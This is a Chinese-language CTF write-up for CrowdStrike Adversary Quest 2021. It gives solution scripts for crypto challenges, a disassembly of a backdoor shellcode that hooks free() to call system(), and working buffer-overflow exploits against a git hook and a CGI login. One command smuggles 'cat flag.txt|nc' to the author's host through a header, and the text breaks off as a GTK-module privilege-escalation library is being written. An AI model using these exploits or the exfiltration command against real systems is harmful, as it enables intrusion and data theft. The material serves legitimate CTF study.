CrowdStrike Adversary Quest 2021: Write-up
2021年2月3日
近期,CrowdStrike Intelligence举办了一个为期约两周的小型CTF,包含十二个涵盖多个类别的挑战。我成功解决了所有挑战并获得第八名。挑战质量极高,我非常享受解决过程,因此决定在此发布我的解决方案。这不是包含大量细节的完整记录,而是对每个问题解决方案的简要总结。挑战分为三个故事线,每个“对手”有四个挑战,因此我将按相同结构组织本文。
Space Jackal
我们面对的第一个对手是Space Jackal,他似乎非常喜欢空格而不是制表符(一个崇高的事业)。
The Proclamation
文件是一个DOS/MBR引导扇区,运行时打印一条消息。
1
2
3
4
5
6
7
|
$ file proclamation.dat
proclamation.dat: DOS/MBR boot sector
$ strings proclamation.dat
you're on a good way.
$ qemu-system-x86_64 proclamation.dat
|
分析代码,发现它在循环中对一些数据进行异或操作。
暴力破解密钥最终得到flag。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
#!/usr/bin/env python3
with open('proclamation.dat', 'rb') as fin:
fin.seek(0x78)
encrypted = fin.read()
def decrypt(ciphertext, key):
res = []
for x in ciphertext:
key = ((key<<2)+0x42)&0xFF
res.append(x^key)
return bytes(res)
"""
for key in range(256):
print(key, repr(decrypt(encrypted, key)[:10]))
"""
print(decrypt(encrypted, 0x09))
|
Flag: CS{0rd3r_0f_0x20_b00tl0ad3r}
Matrix
我们得到一些Python代码和一个onion地址。访问该网站得到三个密文,都以“259F8D014A44C2BE8F”开头,即相同的9字节。
代码接受一个9字节密钥并将其视为3x3矩阵。通过计算行列式并检查是否为1来验证矩阵可逆。
1
2
3
|
T=lambda A,B,C,D,E,F,G,H,I:A*E*I+B*F*G+C*D*H-G*E*C-H*F*A-I*D*B&255
...
len(K)==9 and T(*K)&1 or die('INVALID')
|
从代码中我们知道每条消息在加密前都带有“SPACEARMY”前缀。这意味着我们可以建立并求解矩阵方程:
[
\mathbf{K}{\mathrm{enc}}\cdot \mathbf{M}=\mathbf{C}\Leftrightarrow\mathbf{K}{\mathrm{enc}}=\mathbf{C}\mathbf{M}^{-1}\Rightarrow\mathbf{K}{\mathrm{dec}}=\mathbf{K}{\mathrm{enc}}^{-1}=(\mathbf{C}\mathbf{M}^{-1})^{-1}
]
其中 (\mathbf{C}) 和 (\mathbf{M}) 由密文和明文前缀创建。在Sage中实现并在三个密文上运行得到解决方案:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
R = IntegerModRing(256)
m = 'SPACEARMY'.encode('ascii')
c = bytes.fromhex('259F8D014A44C2BE8F')
M = matrix(R, 3, 3, m).transpose()
C = matrix(R, 3, 3, c).transpose()
Kenc = C * M.inverse()
Kdec = Kenc.inverse()
mtest = (Kdec*C).transpose().coefficients()
assert bytes(mtest).decode('ascii') == 'SPACEARMY'
c1 = bytes.fromhex('259F8D014A44C2BE8FC573EAD944BA63 ...')
c2 = bytes.fromhex('259F8D014A44C2BE8F7FA3BC3656CFB3 ...')
c3 = bytes.fromhex("""
259F8D014A44C2BE8FC50A5A2C1EF0C1
3D7F2E0E70009CCCB4C2ED84137DB4C2
EDE078807E1616C266D5A15DC6DDB60E
4B7337E851E739A61EED83D2E06D6184
11DF61222EED83D2E06D612C8EB5294B
CD4954E0855F4D71D0F06D05EE
""")
C1 = matrix(R, len(c1)//3, 3, c1).transpose()
M1 = (Kdec*C1).transpose()
print(bytes(M1.coefficients()).decode('ascii'))
C2 = matrix(R, len(c2)//3, 3, c2).transpose()
M2 = (Kdec*C2).transpose()
print(bytes(M2.coefficients()).decode('ascii'))
C3 = matrix(R, len(c3)//3, 3, c3).transpose()
M3 = (Kdec*C3).transpose()
print(bytes(M3.coefficients()).decode('ascii'))
|
Flag: CS{if_computers_could_think_would_they_like_spaces?}
Injector
这里我们得到一台机器的镜像和运行相同机器的地址。在temp目录中,我们找到文件“/tmp/.hax/injector.sh”。该文件是一个混淆的shell脚本,使用ProcFS解析一些符号,将结果地址插入一段shellcode,然后将shellcode注入内存。shellcode的反汇编如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
0: 48 b8 41 41 41 41 41 movabs rax, 0x4141414141414141 # __free_hook
7: 41 41 41
a: 41 55 push r13
c: 49 bd 43 43 43 43 43 movabs r13, 0x4343434343434343 # free
13: 43 43 43
16: 41 54 push r12
18: 49 89 fc mov r12, rdi
1b: 55 push rbp
1c: 53 push rbx
1d: 4c 89 e3 mov rbx, r12
20: 52 push rdx
21: ff d0 call rax
23: 48 89 c5 mov rbp, rax
26: 48 b8 44 44 44 44 44 movabs rax, 0x4444444444444444 # malloc_usable_size
2d: 44 44 44
30: 48 c7 00 00 00 00 00 mov QWORD PTR [rax], 0x0
37: 48 83 fd 05 cmp rbp, 0x5
3b: 76 61 jbe 0x9e
3d: 80 3b 63 cmp BYTE PTR [rbx], 0x63
40: 75 54 jne 0x96
42: 80 7b 01 6d cmp BYTE PTR [rbx+0x1], 0x6d
46: 75 4e jne 0x96
48: 80 7b 02 64 cmp BYTE PTR [rbx+0x2], 0x64
4c: 75 48 jne 0x96
4e: 80 7b 03 7b cmp BYTE PTR [rbx+0x3], 0x7b
52: 75 42 jne 0x96
54: c6 03 00 mov BYTE PTR [rbx], 0x0
57: 48 8d 7b 04 lea rdi, [rbx+0x4]
5b: 48 8d 55 fc lea rdx, [rbp-0x4]
5f: 48 89 f8 mov rax, rdi
62: 8a 08 mov cl, BYTE PTR [rax]
64: 48 89 c3 mov rbx, rax
67: 48 89 d5 mov rbp, rdx
6a: 48 8d 40 01 lea rax, [rax+0x1]
6e: 48 8d 52 ff lea rdx, [rdx-0x1]
72: 8d 71 e0 lea esi, [rcx-0x20]
75: 40 80 fe 5e cmp sil, 0x5e
79: 77 1b ja 0x96
7b: 80 f9 7d cmp cl, 0x7d
7e: 75 08 jne 0x88
80: c6 03 00 mov BYTE PTR [rbx], 0x0
83: 41 ff d5 call r13
86: eb 0e jmp 0x96
88: 48 83 fa 01 cmp rdx, 0x1
8c: 75 d4 jne 0x62
8e: bd 01 00 00 00 mov ebp, 0x1
93: 48 89 c3 mov rbx, rax
96: 48 ff c3 inc rbx
99: 48 ff cd dec rbp
9c: eb 99 jmp 0x37
9e: 48 b8 42 42 42 42 42 movabs rax, 0x4242424242424242 # system
a5: 42 42 42
a8: 4c 89 e7 mov rdi, r12
ab: ff d0 call rax
ad: 48 b8 55 55 55 55 55 movabs rax, 0x5555555555555555
b4: 55 55 55
b7: 48 a3 44 44 44 44 44 movabs ds:0x4444444444444444, rax
be: 44 44 44
c1: 58 pop rax
c2: 5b pop rbx
c3: 5d pop rbp
c4: 41 5c pop r12
c6: 41 5d pop r13
c8: c3 ret
|
此代码将劫持free(),如果释放的字符串格式为cmd{.*},其内容将传递给system()。我们可以在运行机器的Web服务器上发起请求,在header中包含payload,一旦服务器处理完我们的请求,payload将被执行:
1
2
3
4
5
6
|
$ nc -v -n -l -p 31337 &
Listening on 0.0.0.0 41000
$ curl 'http://injector.challenges.adversary.zone:4321/x' -H 'X: cmd{cat flag.txt|nc cs.zeta-two.com 31337}'
Connection received on 167.99.209.243 37378
CS{fr33_h00k_b4ckd00r}
|
Flag: CS{fr33_h00k_b4ckd00r}
Tab-Nabbed
我们得到一个镜像和运行该镜像的地址。从镜像中我们发现它运行一个gitolite git服务器,有一个仓库:“hashfunctions”。该仓库还设置了post-receive钩子,在每个修改的文件上运行“detab”程序。该程序将文件中的前导制表符转换为空格,但存在缓冲区溢出漏洞。程序使用512字节缓冲区,满时刷新。然而,判断是否满的检查只检查严格相等,因此当缓冲区中有510个字符时插入制表符,大小将跳到514并继续溢出。我们需要确保其他一些局部变量有效,但除此之外没有保护措施,这意味着我们可以直接用程序中方便的“print flag”函数覆盖返回地址。生成payload文件的exploit如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
#!/usr/bin/env python3
from pwn import *
ADDR_PRINT_FLAG = 0x00000000004011D6
payload = b''
payload += b'A'*510 # Fill the buffer almost (n=510)
payload += b'\n' # Reset the newline flag (n=511)
payload += b'\t'*1 # tab replaced with 4 spaces (n=515)
payload += b'\n'*(13+4+4) # pad and keep newline flag set (n=536)
#payload += cyclic(512, n=8) # use this in first pass to find offset
offset = cyclic_find(0x6161616161616162, n=8)
payload += b'E'*offset # pad until ret addr (n=544)
payload += p64(ADDR_PRINT_FLAG) # overwrite ret addr with flag function
pause()
# Create payload file
with open('payload.dat', 'wb') as fout:
fout.write(payload)
# Test locally
r = process('./detab', level='debug')
r.sendline(payload)
r.shutdown('send')
r.interactive()
|
然后我们从服务器检出仓库(使用镜像中找到的密钥),添加文件,将更改推回服务器,最后拉取更改以获取post-receive钩子的输出得到flag。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
$ cat <<EOF>>~/.ssh/config
Host TabNabbed
Hostname tabnabbed.challenges.adversary.zone
Port 23230
User git
IdentityFile .../ctf/crowdstrike2021/space-jackal/tab-nabbed/developers.key
IdentitiesOnly yes
EOF
$ git clone TabNabbed:hashfunctions.git
$ cd hashfunctions
$ python3 ../solve.py
$ git add payload.dat
$ git commit -m "flag"
$ git push
$ git pull
$ strings payload.dat
...
CS{th3_0ne_4nd_0nly_gith00k}
...
|
Flag: CS{th3_0ne_4nd_0nly_gith00k}
Protective Pengiun
第二个对手是Protective Penguin。不幸的是,我没有真正抓住整体主题。
Portal
我们提供了一个Web服务器的代码,该服务器运行一个cgi-bin程序来认证用户。程序将用户名和密码base64解码到缓冲区。凭证用冒号连接并与文本文件中的条目比较。不幸的是缓冲区太小,我们可以溢出它。程序有栈cookie,我们没有内存泄漏,但我们可以覆盖一个指向用户列表文件名的指针。由于文件在凭证解码和缓冲区溢出后打开,我们可以将用户列表的路径替换为不同的字符串。二进制文件包含字符串“/lib64/ld-linux-x86-64.so.2”,幸运的是该文件包含带有冒号的字符串,如“conflict processing: %s”。以下exploit执行攻击:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
#!/usr/bin/env python3
import json
import os
import requests
import base64
from pwn import *
ADDR_LD_SO_STR = 0x00000000004002A8
# Login with "conflict processing: %s"
username = b'conflict processing\0'
password = b' %s\0' + b'A'*(256-len(username)-4) + b'B'*4 + p64(ADDR_LD_SO_STR)
payload = json.dumps({'user':base64.b64encode(username).decode('ascii'), 'pass':base64.b64encode(password).decode('ascii')})
# Local test
env = os.environ.copy()
env['CONTENT_LENGTH'] = str(len(payload))
env['REQUEST_METHOD'] = 'POST'
env['FLAG'] = 'FAKE_FLAG'
r = process('cgi-bin/portal.cgi', env=env, level='info')
pause()
r.sendline(payload)
r.interactive()
# Execute exploit
BASE_URL = 'https://authportal.challenges.adversary.zone:8880'
r = requests.post(BASE_URL + '/cgi-bin/portal.cgi', json={'user':base64.b64encode(username), 'pass':base64.b64encode(password)})
print(r.text)
|
运行它得到flag: CS{w3b_vPn_h4xx}。
Dactyl’s Tule Box
这里我们得到一个镜像和运行该镜像的服务器。我们可以使用给定的SSH密钥登录服务器。服务器上有一个GTK二进制文件“/usr/local/bin/mapviewer”。通过查看sshd配置,我们发现服务器启用了X转发。为了能够运行程序,我们使用X转发连接到服务器:
1
2
|
$ ssh -X -i customer01.pem customer01@maps-as-a-service.challenges.adversary.zone -p 4141
$ /usr/local/bin/mapviewer
|
我们可以使用sudo以root身份运行此程序,但为此需要指定Xauthority:
1
|
$ XAUTHORITY=$(pwd)/.Xauthority sudo /usr/local/bin/mapviewer
|
每个GTK程序都接受许多额外的命令行参数,包括一个称为“–gtk-module”的参数,您可以在其中指定要加载的额外库,类似于LD_PRELOAD。我们可以使用它来构建一个库,该库在加载时简单地打开一个shell,并将其作为参数提供给程序:
1
2
3
4
|
cat << EOF > privesc.c
#include <stdlib.h>
__attribute__((constructor)) void privesc()
{
|